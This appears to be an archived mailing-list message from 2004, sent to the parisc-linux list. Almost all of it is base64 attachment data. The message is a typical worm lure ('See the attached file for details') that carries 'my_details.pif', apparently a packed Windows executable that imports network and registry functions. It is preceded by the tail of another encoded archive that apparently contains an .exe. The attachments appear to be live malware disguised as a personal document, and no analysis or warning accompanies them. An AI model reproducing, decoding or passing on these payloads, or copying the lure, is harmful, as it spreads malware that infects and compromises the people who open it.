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
AAA=

----------bskqrbpbiciyloyrridm--



From - Thu Nov 08 21:31:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 3dmarketing@hospitalsantacruz.com.br
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: My details
Date: Thu, 4 Mar 2004 12:38:25 -0300
Lines: 345
Approved: news@gmane.org
Message-ID: <20040304154326.832344856@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0007_00000864.00005371"
X-Trace: ger.gmane.org 1416623239 6297 80.91.229.3 (22 Nov 2014 02:27:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: 3dmarketing@hospitalsantacruz.com.br  Thu Mar  4 08:43:37 2004
Return-Path: <3dmarketing@hospitalsantacruz.com.br>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from [200.177.127.2] (sipp-frame.terraempresas.com.br
	[200.177.127.2])
	by dsl2.external.hp.com (Postfix) with SMTP id 832344856
	for <parisc-linux@parisc-linux.org>;
	Thu,  4 Mar 2004 08:43:26 -0700 (MST)
Original-Received: from no.name.available by [200.177.127.2]
	via smtpd (for dsl2.external.hp.com [192.25.206.7]) with SMTP;
	4 Mar 2004 15:17:50 UT
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 04 Mar 2004 15:43:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20985

This is a multi-part message in MIME format.

------=_NextPart_000_0007_00000864.00005371
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

See the attached file for details.

------=_NextPart_000_0007_00000864.00005371
Content-Type: application/octet-stream;
	name="my_details.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="my_details.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA
APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE
AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA
EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg
AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA
AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
